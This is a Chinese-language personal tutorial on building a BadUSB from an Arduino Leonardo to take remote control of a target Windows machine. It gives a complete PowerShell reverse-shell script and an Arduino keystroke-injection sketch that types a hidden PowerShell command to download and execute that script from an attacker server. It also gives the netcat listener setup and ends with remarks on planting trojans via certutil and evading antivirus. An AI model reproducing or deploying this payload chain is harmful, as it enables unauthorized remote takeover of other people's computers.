前言

本文章是作者想要尝试一下近源渗透,于是购买了一个badusb进行制作。网上有不少教程,可惜有的不适配我的硬件,有的程序也过旧了,没有维护。于是自己总结了各路经验写下这个文章,希望感兴趣的可以制作一个自己的BadUsb。

基本构思

1.通过烧录指定的程序进入badusb

2.攻击机开启nc监听服务

3.目标机插入badusb后,会自动打开终端,并主动连接攻击机,弹出shell,从而攻击机获得控制权

硬件选择

查看了各方资料,发现Rubber Ducky和hak5之类的usb确实效果很牛,并且已经集成了功能。但很贵,同时我意在自己制作一个。最后决定购买Arduino Leonardo这款badusb ,我在某鱼上购买,质量还不错。

badusb的本质是一个单片机,可模拟键盘操作。实际上是一种HID(Human interface device),即人体学接口设备。

很多类似产品都可以实现该项目。

环境要求及搭建

电脑:Windows11+Kali Linux

云服务器:Debian 1台(局域网内测试可省略)

攻击机linux需要搭建简单的web下载服务,在此不赘述。

安装nginx服务后配置nginx.conf即可

这里作者用kali安装了Arduino用于单片机编程及烧录,事实上什么机子都行

apt-get update
apt-get install Arduino

如果启动失败,大概率需要更新java

在监听机下安装netcat:

apt-get install netcat

程序编写

shell连接

我的主要目标是连接到攻击机的监听端口上去。下面这段程序中,表示创建了一个socket连接到指定的server_ip的server_port端口。同时反向shell连接了攻击机。把这段代码贴到powershell里应该可以直接连上攻击机。

$client = New-Object System.Net.Sockets.TCPClient('server_ip',server_port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

可以把这段代码放到一个ps1文件里,我命名为crack.ps1。

Keyboard模拟

代码作用:

模拟键盘通讯,按下win+r键,并开启大写锁定以屏蔽输入法。输入指令弹出powershell并最小化,执行服务器上下载的ps1脚本

这一段话的大小写是相反的,因为实操中发现事实上打出的字大小写会互换

POWERSHELL -wINDOWsTYLE hIDDEN -cOMMAND & { iNVOKE-eXPRESSION ((nEW-oBJECT nET.wEBcLIENT).dOWNLOADsTRING('HTTP://your_server_ip/CRACK.PS1')) }

代码如下:

#include<Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(2000);
Keyboard.println("POWERSHELL -wINDOWsTYLE hIDDEN -cOMMAND & { iNVOKE-eXPRESSION ((nEW-oBJECT nET.wEBcLIENT).dOWNLOADsTRING('HTTP://your_server_ip/DOWNLOADS/RS/CRACK.PS1')) }");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1000);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('d');
delay(100);
Keyboard.releaseAll();
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{

}

如何烧录

先将代码里的your_server_ip换成自己的ip,注意自己配置的下载路径

将该代码用arduino烧录,注意烧录是选择board为Arduino Leonardo ,Port自查

点菜单栏里的右箭头即可烧录

arduino

测试

攻击机准备监听

我的攻击机为kali

nc -lvvp 10080 -k

该代码的作用是:在10080端口开启一个nc监听,保持连接

提示,你可能需要开启防火墙

sudo apt-get install ufw
sudo ufw allow 端口号/tcp
sudo ufw enable
ufw status

nclisten

目标主机插入BadUsb

目标主机没有安装杀毒软件,但开启windows defender

现象:延迟5s后打开运行对话框,自动输入指定指令,按下回车后自动执行ps1脚本,同时会把powershell窗口最小化。

攻击机现象

usb插入不久后,攻击机上显示已连接上某ip主机,此时按回车会进入powershell,拿下目标主机控制权。

ncconnect

后记

思考

这次尝试是特殊的,因为其实我之前做的反弹shell并不多,同时这个例子也有一定实际意义。我对于硬件编程有了一定理解,在我将该项目转移使用公网服务器的过程中也遇到了不少挑战。相信以后还可以开发出更好玩的BadUsb。

亟待解决

BadUsb肯定是不局限于远程上线的,有更狠的活暂时不会,也有点不敢做,自己以后慢慢研究了。

BadUsb也可以用来植入木马了,通过powershell 利用certutil可以下载木马等(需要免杀)

还未测试各类杀毒软件是否会报毒badusb